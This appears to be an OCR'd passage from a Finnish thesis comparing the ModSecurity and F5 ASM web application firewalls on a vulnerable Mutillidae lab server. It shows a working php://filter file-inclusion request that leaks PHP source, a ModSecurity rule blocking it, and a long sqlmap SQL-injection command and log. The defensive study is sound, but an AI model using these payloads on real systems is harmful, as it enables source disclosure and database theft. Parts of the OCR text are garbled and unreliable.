2ET /mutillidas/index, php?pagesphp://tilesr/convert . bassid-ancods/ resourcesindsax. php HTTP/ 1.1
Hest

Faer=Agent: Mozillass5.0 (X1l: Limax LEBE: pvil4.0) Gecke/I0L0DLOL Firefox/l4.0.1

Accept: text/homl,applicacion’xhoml+xml, application/ @l gq=0.%,*/ ":q=0.8

Accept-Lamguage: en-us, snroq=0.%

Accept-Encoding: gzip, deflate

) [y ) -
Regsponse

[ Raw [ Headers | Hex [HL | Render |

<blockquotes

€i-— Bagin Content
- PP alANC gOECS BqICOt LSOt LSOt LS OtLSOtLSOtLSOt LS 0t LSOt LSOt LSOt L S0t LSOtLS0tLQOKCSAgIENvbnHO YW S0 cyBl o VR I Glu I GPwoGxpY
aRSub ol ICogL SOt LSOLLSOtLSOtLSOtLSOtLSOtLS0tLSOtLSOLSOtLSOLLS0LLE0L ICowDQod AW S bHVE IV Ivbadl ]l 1 Coul 2 Lulf 31 TEV 2L 20w bnil0
Doy SwaHAn w0 KD QoL yogl S0 LLSOELSOELSOLL S0 EL SO LS0RLS0tLSOtLSOtLS0LLSOLLSOtLSOLLSOLLSOLLSOLLSO0LDg o ICogSUSD TEVERSEDTEY
BERUZITELUSUSOIFBSSUISIFRPIELOSVRI QU Wk LORYETRVHTSUSOD 0 od ICogl S0t LSt LSOtLSOtLSOELSDtL SOt LSOLtLSOtLSOtLSOELSOLLSOELS

KUVIO 57. ModSecurity ei tunnista LFI-hyokkayslauseketta



Decode from Base64 format

Simply use the form below

PD9waHANCgOIKCSEgICOtLSULSMLSOHLSMLSHLSMLSHLSILSULSMHLS0LSD &

tLS0tLQOKCSAgIEMvEnNOYWElcyB1c2VkIGIUIGFwe GxpY 2F0aVWIuDQoJICogL S
DLSOLSOLSOMLSULS LS tLSMLSULSMLSMLS0tLS0tL S0t CovDQodaWWajbHY
K2V vbmMNICeul 2IuY 212GV zL2MNvbnNOYWEDcybwaHAROwiKDQodLyogl SOLS
DLSOLSOLSOMLSULSHLSLSMLSOLSMLSMLS0tLS0tLS0tLS0LS0LS0tDQod
ICogSUSDTFVERSBOTEFTUYBERUZITKIUSUSOIFBSSUASIFRRIEIDSVRIQU
WkIORyBTRVMNTSUSODQeJICogLSMLSULSOLS0LSMHLS0LSMLSMLS0tLS0tL
SOLSULSHLSLSMLSLSMLSMICovDQodemVxdWiyZWIvbmMIICdbGFze2Vz
LO1SUIFMSGFuZGxleiswaHAnOwOK CXle XV pemVib25)2SAnb3dhe 3AtZXMNhe Gkt
cGhwL3NyYyIFUOFQSSswaHAROwWIKCR) XV pemVib25)25AnY 2xhe3Mlcy9DdX

AT o T LT DN T T S ] (TR T e I T I T B W A T T AU T oY

< DECODE = UTF-3 [™] (You may also select input charset.)
include_once '..-’inn:lun:les.Fcunstanfs.php':
[

" INCLUDE CLASS DEFIMNITION PRIOR TO IMITIALIZING SESSION

Ed *If

reguire_once ‘classes/MySQLHandler php';
reguire_once ‘owasp-esapi-php/src/ESAPL php';
reguire_once ‘classes/CustomErrarHandler phg';
reguire_once ‘classes/LogHandler.php';

——— i e Lty [PUPPUNP | [ [P U N [P N [PUNY ) [ [UNPUSR | Qe Mepea

1 - IHEA

KUVIO 58. Lahdekoodin purku base64-koodauksesta

ModSecurityn rules.conf-tiedostoon lisdatdaan seuraava saanto:

SecRule ARGS php:// "id:'3",phase:1,t:lowercase,log,deny,status:503"

Saanto estda jatkossa “meta wrapper” —toiminnon kayton, eika haavoittuvuuden

£

m |||
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hyédyntaminen enaa onnistu. On mahdollista, ettd CRS-paketissa olevat experimen-

tal-sdénnot olisivat estaneet hyokkayksen. Kuviossa 58 on esitettyna tulos saannon

lisdamisen jalkeen, josta on nahtavissa, ettd hyokkays estetdan.
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Go Target: http:

_j ;h:] Params l Headers l Hex |

GET /mutillidae/index.php?page=php: gilter avert.baseéd-encode/resoucce=index.php HTTP/1.1
Host:

User-Agent: Mozilla/S5.0 iX1l; Linux 1€8€; rv:14.0) Gecko/20100101 Firefox/14.0.1

Accept: text/html,application/xhtml+xml, application/xml;q~0.9,*/*:;q=0.8

Acceprt=Language: en-us,en:q=0.5

Accepe~Encoding: gzip, deflate

ONT
Proxy-Connection: keep-alive

Cookie: shovhints=0; PHPSESSID=plOo3nhd3havhmtnbvés lgqfacd

< + > 0

JR‘H INeader: i"e- ;rﬂ'ML iﬂender l

HTTP/1.1 S03 Service Temporarily Unavailable
Date: Ved, 13 =013 10:20:00 GET

Server: Apache/2.2,.22 (Ubuntu)

Vary: Accept«Encoding

KUVIO 59. ModSecurity tunnistaa mukautetun LFI-hyokkadyksen

--6fcbc924-A--

[13/Feb/2013:12:21:17 +0200] URtpHX8AAQEAACBIAKCAAAAC xxx.xxx.xxx.xxx 59368
XXX XXX XXX.Xxx 80

--6fcbc924-B--

GET /mutillidae/index.php?page=php.//filter/convert.base64-
encode/resource=index.php HTTP/1.1

Host: XXX.XXX.XXX. XXX

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Proxy-Connection: keep-alive

Cookie: showhints=0; PHPSESSID=p1003nhd3hsvhmfnbv63lqfat0

--6fcbc924-H--

Message: Access denied with code 503 (phase 1). Pattern match "php://" at
ARGS:page. [file "/etc/apache2/rules.conf"] [line "12"] [id "3"]

Action: Intercepted (phase 1)

Stopwatch: 1360750877874857 3756 (- - -)

Yll3 oleva lokiteksti on tiivistetty ModSecurityn audit-lokista hyokkayksen aikana.
Siitdkin on selkedsti ndhtavissa, ettd uudelleenldahetetty hydkkayslauseke estetdan.
Kayttajalle palautetaan vastauksena ennaltamaaratty, HTTP-tilakoodin 503 (Service

Temporarily Unavailable) kertova web-sivu.
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11 VERTAILU JA TULOKSET

11.1 Alustus

WAF-vertailuun valittiin kaksi tuotetta, jotka olivat ModSecurity seka F5 ASM. Mo-
lempien tuotteiden kohdalla haluttiin tarkastella muun muassa kayttoonottoa, konfi-

gurointia ja toimintaa.

Hyokkayksia varten valittiin kolme erilaista haavoittuvuutta: SQL-injektio, Cross-site
Scripting ja Local file Inclusion. Valinnat perustuivat pdaasiassa siihen, etta ne ovat
hyvin yleisia ja kdytettyja haavoittuvuuksia, joita kohdistuu web-ohjelmistoihin inter-

netissa.

Web-palvelimien oltua suojaamattomia, olivat hyokkaykset helppo kohdistaa haa-
voittuvuuksiin. SQL-injektiohaavoittuvuuden kohdalla tdma merkitsi tietokantojen
vuotamista, joka voi johtaa myds muun tiedon menetykseen. XSS-haavoittuvuutta
olisi voinut hydédyntaa muun muassa evastevarkauksiin. LFI-haavoittuvuus paljasti,
ettd kaikki tarkastukset eivat ole kunnossa tiedon kasittelyn osalta ja tata virhetta

olisi voinut hyédyntaa esimerkiksi takaoven asennuksessa palvelimeen.

11.2 ModSecurity

ModSecurity edusti avoimen lahdekoodin tuotetta. Sen kayttdonotto osoittautui
aluksi hieman haasteelliseksi, mutta selkeentyi siihen perehdyttaessa. ModSecurity ei
tarjoa mitdan turvaa ilman sdantoja, jotka ovat saatavilla ilmaiseksi. Tarjolla on myds
maksullinen sdantopaketti, joka tarjoaa turvaa vield yksityiskohtaisemmin ja tar-
kemmin. CRS-paketin péivitykseen on saatavilla Perl-skripti. Riippuen turvattavasta
kohteesta ja sen toiminnoista, tulee ModSecurityn asetuksiin tehda tarvittavat muu-

tokset.
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ModSecurityn dokumentointi aiheutti ongelmia. Internetista |0ytyi tietoa, joka osoit-
tautui jatkuvasti vanhaksi, kun kdaytanteet olivat muuttuneet. Ivan Risticin kirjoitta-
ma, ilmainen opaskirja kattoi jonkin verran toimintoja. Maksullinen versio kirjasta
olisi tarjonnut yksityiskohtaisempaa tietoa. Ainoa ilmainen ja ajankohtainen tuki oh-

jelmalle l6ytyi postituslistoilta.

Lokitiedostot ovat hyvin kattavat ja suhteellisen helppolukuiset. ModSecurity ei tar-
joa graafista kayttoliittymaa lokitiedostoiden lukemiseen. Informaatioltaan lokit ovat
hyvat, mutta niiden tulkitseminen ainakin tuotantoymparistossa vaatisi ehdottomasti
muutakin kuin konsoli-ikkunan. Kolmannen osapuolen graafisia kayttoliittymia on

saatavilla lokien hallintaa varten.

Suorittaessa hyokkaysta ModSecurityn suojaamaan web-palvelinta kohti, onnistui
ModSecurity estamaan hyokkaykset, kunnes injektoitava kohta oli user-agent-otsake.
Kyseisen otsakkeen kautta SQL-injektio onnistui ja tietovuoto oli mahdollinen. Pitkadn
selvittelyn jalkeen selvisi, etta ModSecurity ei tarkastele user-agent-otsaketta oletuk-
sena. Syyna on ilmeisesti false-positive-halytysten vahentaminen. Kun user-agent-
otsakkeen tarkistus laitettiin paalle, kyseinen SQL-injektiohaavoittuvuus saatiin pai-
kattua. Muitakaan SQL-injektiohaavoittuvuuksia ei enda I6ytynyt. LFI-hyokkayksien
osalta haavoittuvuus paikannettiin myds, mutta saatiin paikattua. Kaikki XSS-

hyokkaysyritykset ModSecurity sai estettya.

ModSecurity vaatii pitkaa perehtymista, jotta sen kayttd on luontevaa ja varmaa.
Asennustoimet vaativat ammattitaitoa, jotta virheita ei synny heti alkuvaiheessa,
eikda myoskadan jatkossa. Saantdjen muokkaus ja lisdys aiheuttivat paanvaivaa, kun
tarkoitus on pitda saannot tiukkoina false-positive-halytysten hyvaksymisen jalkeen-

kin.
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11.3 F5 ASM

Testattavaksi saatu kaupallinen tuote oli F5 ASM. Lukuun ottamatta virtuaalialustalle
tehtavia maarittelyja, kaikki tarvittavat konfiguraatiot oli mahdollista tehda graafisen
kayttoliittyman kautta, kun IP-osoite hallintaa varten oli maaritelty kayttoon. Konfi-

gurointi onnistuu myos SSH-yhteyden avulla.

Dokumentointi F5 ASM:n kohdalla oli oikein hyva. Jokaiseen mietityttavaan yksityis-
kohtaan |oytyi ajan tasalla olevaa opastusta suoraan yleisilla hakukoneilla. Vaikka
dokumentointi oli tasokasta, paljastui siitd asioihin perehdyttaessa haittapuoliakin.
Tuntui, ettd dokumentointi oli hiukan levallaan, eika taysin keskitetty. Samasta asias-
ta saattoi I6ytya useita eritasoisia dokumentteja, joissa kaikissa oli eri maara aihee-
seen liittyvaa tietoa. Turhautuminen ohjeiden hajanaisuuteen oli havaittavissa inter-
netin keskustelupalstoilla my6és muiden kadyttajien toimesta. Kaupallisena tuotteena
tuki tietenkin l6ytyy tuotteen valmistajalta, mutta myos aktiiviselta keskustelupalstal-

ta.

Tuotteen kayttoonotto oli sulavaa. Tahan vaikutti suurelta osin hyva dokumentointi
ja web-kayttoliittyma. Kaikki sdannot ja toiminnot ovat asennuksessa mukana. Kun
suojattavasta kohteesta aiheutuvat false-positive-halytykset saatiin karsittua pois,
aloitettiin testaus lahes valittomasti. Paivitykset koskien itse ohjelmistoa ja tunniste-
tietokantaa, voi maarittaa latautumaan automaattisesti tai ladata ne itse F5:n web-
sivuilta. F5 ASM oli tarkoitus asentaa toimimaan vain negatiivisen tietoturvamallin
tavoin. Asetusvirheesta johtuen ASM toimi myos positiivisen tietoturvamallin tavoin
ja tama huomattiin vasta valitettavan myohaan. Sivulla 42 on kuvattu asetukset, jot-

ka jaivat tekematta.

F5 ASM onnistui suojaamaan web-palvelimen ilman, ettd haavoittuvuuksia havaittiin

millddn kolmesta eri hyokkaystyypista.
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11.4 Tulosten tarkastelu

Molemmat WAF:it osoittautuivat mielenkiintoisiksi tuotteiksi. Ne onnistuivat esta-
maan web-palvelimille kohdistettuja hyokkayksia hyvin laajalti. On otettava kuitenkin
huomioon hyokkaysten toteutus, joka ei ole kokonaisvaltainen tai millaan lailla tay-
dellinen WAF:ien testaukseen. Hyokkayksia oli muokattu jossain maarin WAF:ien
ohittamiseksi, mutta ne eivat tuottaneet tulosta. Mydskaan kaikkia eri toimintoja
tuotteista ei testattu, kun hyokkaykset kohdistuivat vain tietyn tyyppisiin haavoittu-

vuuksiin.

lImaisen ja kaupallisen tuotteen erot kuitenkin olivat hyvin huomattavissa muun mu-
assa kaytettavyyden ja dokumentoinnin osalta. WAF vaatii aina jatkuvaa yllapitoa,
jotta se on ajan tasalla uusia, paikkaamattomia haavoittuvuuksia vastaan. Jatkuvan
yllapidon vuoksi graafinen kayttoliittyma olisi hyvin suotava olla kaytettavyytta aja-
tellen. ModSecurityn osalta tuotteen kayttéon perehtyminen vei huomattavasti

enemman aikaa ja kaytt6 vaati unix-tuntemusta jonkin verran.

Tuotteiden tehokkuus hyokkaysten estamisen suhteen oli hieman eritasoinen ja ta-
ma johtui ModSecurityn osalta konfiguraatiosta, kun kovin selkeda kuvaa siita ei saa-
tu. ModSecurity vaatikin enemman toimenpiteita konfiguraation suhteen, jotta kaikki
hyokkaykset saatiin estettya. F5 ASM osoittautui helppokayttdisemmaksi ollen myds
paremmin dokumentoitu, seka tehokkaampi perus asetuksillaan. Sen onnistui estaa
mukautetutkin hyokkaykset ilman, etta erityisia asetuksia olisi tarvinnut tehda. Etua
saatiin kuitenkin positiivisen tietoturvamallin hyodyntamisesta hyokkayksia havaitta-
essa. Valintakysymykseksi muodostuukin rahan lisdksi muun muassa erityisten omi-
naisuuksien tarve, suojattavat kohteet ja yllapitokysymykset. Molemmille tuotteille
loytyy omat kayttokohteensa aina tapauskohtaisesti, joissa toinen on toista parempi

ratkaisu jollain lailla. Olkoon se sitten vaikka taloudellisesti tai teknisesti.
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11.5 Ulkopuolista tutkimustietoa

Viimeisia testeja WAF-tuotteille tehtiin 13. padiva helmikuuta. 20. paiva helmikuuta
Zero Science Lab julkaisi oman raporttinsa kolmen eri WAF-tuotteen vertailusta. Zero
Science Lab on makedonialainen tietoturvallisuuden tutkimus- ja kehittamislaborato-

rio (Zero Science Lab n.d.).

Tutkimuksen kohteena olivat ilmainen ModSecurity ja kaksi maksullista Cloud WAF
—tuotetta: CloudFlare ja Incapsula. Tutkimuksen tarkoituksena oli ohittaa kaikkien
WAF:ien suojaus keinolla millda hyvansa. Kaytetyt haavoittuvuudet olivat SQL-injektio,
Cross Site Scripting (XSS), Local File Inclusion (LFI) ja Remote File Inclusion (RFI). Koh-
teina kaytettiin muun muassa joitain web-ohjelmistoja ja niiden tunnettuja haavoit-

tuvuuksia. (Cabrera, Krstic & Petrushevski 2013)

Tutkimuksen tulokset osoittivat, ettd ModSecurity vei voiton selkedsti. Vain kaksi (2)
LFI/RFI-lauseketta lapaisi suojauksen. Tutkijat kuitenkin korostivat, etta false-
positive-halytyksia ei otettu huomioon, joka voi aiheuttaa jossain maarin ongelmia.
Incapsulan suorituskykya pidettiin hyvana. Se kykeni estamaan suurimman osan
hyokkayksistd. SQL-injektiolausekkeita jai estamatta yksi (1), XSS-lausekkeita (3) ja
LFI/RFI-lausekkeita nelja (4). Incapsula ei estanyt ollenkaan haitallisia XSS-lausekkeita,
jotka sijoitettiin HTTP-kehyksen otsakkeisiin. CloudFlare parjasi tutkimuksessa huo-
noiten. Se ei kyennyt estamaan yhtakaan testauksessa kaytetyista hyokkayksista.
CloudFlarea mainostetaan kuitenkin WAF:ina. Tama vaikuttaisi olevankin vain mark-

kinointikikka. (Cabrera, Krstic & Petrushevski 2013)

Tutkimus osoitti hyvin WAF:ien heikkouksia. Oman tyoni pohjalta jdin kaipaamaan
tutkimukselta yksityiskohtaisempaa tietoa SQL-injektiohyokkayksesta. Varsinkin, kun
sita testattiin ModSecurityn kanssa. Tutkimuksen perusteella SQL-injektiolausekkeita
ei sijoitettu HTTP-kehyksen otsakkeisiin lainkaan. Incapsulan kehittdjat ovat kom-
mentoineet tutkimusta korjauksien kanssa (Incapsula Pentested - Results and
Afterthoughts 2013). Myo6s ModSecuritylle on korjaukset suoritettu (Barnett 2013).

CloudFlare ei ole kommentoinut tutkimusta.
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12 YHTEENVETO

Web Application Firewall pyrkii estamaan OSI-mallin 7. kerroksen kautta tapahtuvat
hyokkaykset web-ohjelmistoja vastaan. Kuten hyokkayksista oli nahtavissa, WAF:in
kdyttoonotto vaatii aina huolellisen perehtymisen ja konfiguraation maarittamisen,

tai web-palvelin on edelleen haavoittuvainen.

Hyokkaykset osoittivat, kuinka haavoittuvainen web-ohjelmisto voi johtaa web-
palvelimella olevan tiedon vuotamiseen, web-palvelimen haltuunottoon tai web-
sivuston kayttdjien tunnusvarkauksiin. Kun kyse on esimerkiksi yrityksen tai julkisen
hallinnon palveluista, voi tietovuoto olla kriittinen. Ja se ei valttamatta vaadi kuin
vhden haavoittuvuuden. Vaikka ohjelmoijat saisivat kattavampaa koulutusta tieto-
turvan osalta web-ohjelmoinnissa, ei se ole riittdva toimenpide haavoittuvuuksien
kitkemiseksi jo ohjelmointivaiheessa. Sisaltda kehittdessa ja paivittdessa virheita ta-
pahtuu jatkuvasti. Sen yhden ja ainoan, ehka hyvinkin yksinkertaisen, lahdekoodissa

olevan haavoittuvuuden hyvaksikdayton WAF saattaisi estaa.

Voi olla, etta yrityksissa ei ole tietoturvaa mietitty kokonaisuutena ja tietoturvan ajan
tasalla oleminen huomioidaan vasta, kun ikavia asioita on jo sattunut. Sanaan ”palo-
muuri” luotetaan edelleen paljon, oli sitten kyseessd mika kyber-uhka tahansa. Yllapi-
tamalla tietoturvaa yrityksessa jatkuvasti ja ymmartamalla uhkatekijat, on mahdollis-
ta turvata liiketoimintaa hyvin pitkalle. Yrityksen maine ei karsisi WAF:in hankkimi-

sesta toisin kuin tietovuodon tapahtuessa.

Uskon, etta tulevaisuudessa WAF:ien suodatustapa muuttuu padsaantoisesti positii-
visen tietoturvamallin mukaiseksi, jolloin vain ei-haitalliseksi tunnistettu liikenne I3-
pdisee suodatuksen. Ohessa hyddynnettaisiin negatiivista tietoturvamalliakin. Positii-
vinen suodatusmalli ehka tuo omat ongelmansa mukanaan, mutta takaa turvalli-
semman liikennesisallon. Oli suodatusmalli sitten mika tahansa, ei WAF voi ikina tar-

jota kuitenkaan varmaa suojaa.
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Liite 1 OWASP Top 10

Al —Injection

Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data
is sent to an interpreter as part of a command or query. The attacker’s hostile
data can trick the into executing unintended commands or accessing
unauthorized data interpreter into executing unintended commands or accessing
unauthorized data.

A2 — Cross-Site
Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a
web browser without proper validation and escaping. XSS allows attackers to
execute scripts in the victim’s browser which can hijack user sessions, deface
web sites, or redirect the user to malicious sites.

A3 — Broken
Authentication
and Session
Management

Application functions related to authentication and session management are
often not implemented correctly, allowing attackers to compromise passwords,
keys, session tokens, or exploit other implementation flaws to assume other
users’ identities.

A4 —Insecure
Direct
Object References

A direct object reference occurs when a developer exposes a reference to an
internal implementation object, such as a file, directory, or database key.
Without an access control check or other protection, attackers can
manipulate these references to access unauthorized data.

A5 — Cross-Site
Request Forgery
(CSRF)

A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request,
including the victim’s session cookie and any other automatically included
authentication information, to a vulnerable web application. This allows the
attacker to force the victim’s browser to generate requests the vulnerable
application thinks are legitimate requests from the victim.

A6 — Security
Misconfiguration

Good security requires having a secure configuration defined and deployed for
the application, frameworks, application server, web server, database server,
and platform. All these settings should be defined, implemented, and
maintained as many are not shipped with secure defaults. This includes keeping
all software up to date, including all code libraries used by the application.

A7 — Insecure
Cryptographic

Many web applications do not properly protect sensitive data, such as credit
cards, SSNs, and authentication credentials, with appropriate encryption or
hashing. Attackers may steal or modify such weakly protected data to conduct

Storage . . . .
g identity theft, credit card fraud, or other crimes.
A8 - Failure to Many web applications check URL access rights before rendering protected links
. and buttons. However, applications need to perform similar access control
Restrict URL . .
Access checks each time these pages are accessed, or attackers will be able to forge

URLs to access these hidden pages anyway.

A9 - Insufficient
Transport
Layer Protection

Applications frequently fail to authenticate, encrypt, and protect the
confidentiality and integrity of sensitive network traffic. When they do, they
sometimes support weak algorithms, use expired or invalid certificates, or do not
use them correctly.

A10 — Unvalidated
Redirects
and Forwards

Web applications frequently redirect and forward users to other pages and
websites, and use untrusted data to determine the destination pages. Without
proper validation, attackers can redirect victims to phishing or

malware sites, or use forwards to access unauthorized pages.
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Liite 2 OWASP Top 10 —muutokset

OWASP Top 10 — 2007 (Previous)

OWASP Top 10 - 2010 (New)

A2 — Injection Flaws

Al —Injection

A1 - Cross Site Scripting (XSS)

A2 — Cross-Site Scripting (XSS)

A7 — Broken Authentication and Session
Management

A3 — Broken Authentication and Session
Management

A4 — Insecure Direct Object Reference

A4 — Insecure Direct Object References

A5 — Cross Site Request Forgery (CSRF)

A5 — Cross-Site Request Forgery (CSRF)

<was T10 2004 A10 — Insecure Configuration
Management>

A6 — Security Misconfiguration (NEW)

A8 — Insecure Cryptographic Storage

A7 — Insecure Cryptographic Storage

A10 — Failure to Restrict URL Access

A8 — Failure to Restrict URL Access

A9 — Insecure Communications

A9 — Insufficient Transport Layer
Protection

<notin T10 2007>

A10 — Unvalidated Redirects and Forwards
(NEW)

A3 — Malicious File Execution

<dropped from T10 2010>

A6 — Information Leakage and Improper Error
Handling

<dropped from T10 2010>




78

Liite 3 Verkon topologia
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Liite 4 Sglmap-hyokkaysloki ModSecurity

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
http://xxx.xxx.xxx.xxx/mutillidae/index.php?page=user-info.php --dbms mysq| --
data="username=&password=&user-info-php-submit-
button=View+Account+Details" --threads 10 --user-agent="Mozilla/5.0 (X11; Linux
i686; rv:14.0) Gecko/20100101 Firefox/14.0.1" --level 5 --risk 5 --
cookie="PHPSESSID=paeqg4qalkf17sbqi53id73vse6"

sglmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable local, state
and federal laws. Authors assume no liability and are not responsible for any misuse
or damage caused by this program

[*] starting at 09:35:37

[09:35:38] [INFO] testing connection to the target url

[09:35:39] [INFO] heuristics detected web page charset 'ascii'

[09:35:39] [INFO] testing if the url is stable, wait a few seconds

[09:35:40] [INFO] url is stable

[09:35:40] [INFO] testing if POST parameter 'username’ is dynamic

[09:35:41] [WARNING] POST parameter 'username’' appears to be not dynamic
[09:35:41] [WARNING] reflective value(s) found and filtering out

[09:35:41] [WARNING] heuristic test shows that POST parameter 'username' might
not be injectable

[09:35:41] [INFO] testing for SQL injection on POST parameter 'username’
[09:35:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:35:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:35:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[09:35:46] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:35:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:36:01] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[09:36:08] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[09:36:10] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[09:36:10] [INFO] testing '‘MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'
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[09:36:10] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[09:36:10] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[09:36:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[09:36:10] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[09:36:10] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[09:36:11] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[09:36:11] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:36:11] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:36:11] [INFO] testing 'MySQL stacked conditional-error blind queries'

[09:36:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[09:36:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:36:16] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause
(UPDATEXML)'

[09:36:17] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[09:36:17] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[09:36:23] [INFO] testing '‘MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(EXTRACTVALUE)'

[09:36:24] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause
(UPDATEXML)"

[09:36:25] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[09:36:30] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[09:36:36] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[09:36:36] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'

[09:36:36] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'

[09:36:36] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY
clauses'

[09:36:36] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (EXTRACTVALUE)'

[09:36:36] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY
clauses (UPDATEXML)'

[09:36:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[09:36:37] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[09:36:38] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[09:36:39] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[09:36:39] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[09:36:40] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query -
comment)’
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[09:36:41] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'

[09:36:47] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[09:36:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[09:37:07] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[09:37:19] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'
[09:37:29] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[09:37:40] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'
[09:37:49] [INFO] testing 'MySQL UNION query (random number) - 21 to 30 columns'
[09:37:58] [INFO] testing 'MySQL UNION query (NULL) - 31 to 40 columns'
[09:38:11] [INFO] testing 'MySQL UNION query (random number) - 31 to 40 columns'
[09:38:24] [INFO] testing 'MySQL UNION query (NULL) - 41 to 50 columns'
[09:38:33] [INFO] testing 'MySQL UNION query (random number) - 41 to 50 columns'
[09:38:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[09:38:55] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[09:39:10] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[09:39:23] [INFO] testing 'Generic UNION query (random number) - 11 to 20
columns'

[09:39:35] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[09:39:45] [INFO] testing 'Generic UNION query (random number) - 21 to 30
columns'

[09:39:54] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
[09:40:06] [INFO] testing 'Generic UNION query (random number) - 31 to 40
columns'

[09:40:19] [INFO] testing 'Generic UNION query (NULL) - 41 to 50 columns'
[09:40:31] [INFO] testing 'Generic UNION query (random number) - 41 to 50
columns'

[09:40:44] [WARNING] POST parameter 'username’ is not injectable

[09:40:44] [INFO] testing if POST parameter 'password' is dynamic

[09:40:45] [WARNING] POST parameter 'password' appears to be not dynamic
[09:40:45] [WARNING] heuristic test shows that POST parameter 'password' might
not be injectable

[09:40:45] [INFO] testing for SQL injection on POST parameter 'password'

[09:40:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:40:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:40:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[09:40:51] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:40:58] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(MySQL comment)'

[09:41:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause
(Generic comment)'

[09:41:13] [INFO] testing 'MySQL boolean-based blind - WHERE or HAVING clause
(RLIKE)'

[09:41:15] [INFO] testing 'Generic boolean-based blind - Parameter replace (original
value)'

[09:41:15] [INFO] testing 'MySQL boolean-based blind - Parameter replace
(MAKE_SET - original value)'
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[09:41:15] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT -
original value)'

[09:41:15] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int -
original value)'

[09:41:15] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace
(original value)'

[09:41:15] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace
(original value)'

[09:41:15] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses'

[09:41:15] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY
clauses (original value)'

[09:41:15] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:41:15] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER
BY clauses'

[09:41:15] [INFO] testing 'MySQL stacked conditional-error blind queries'

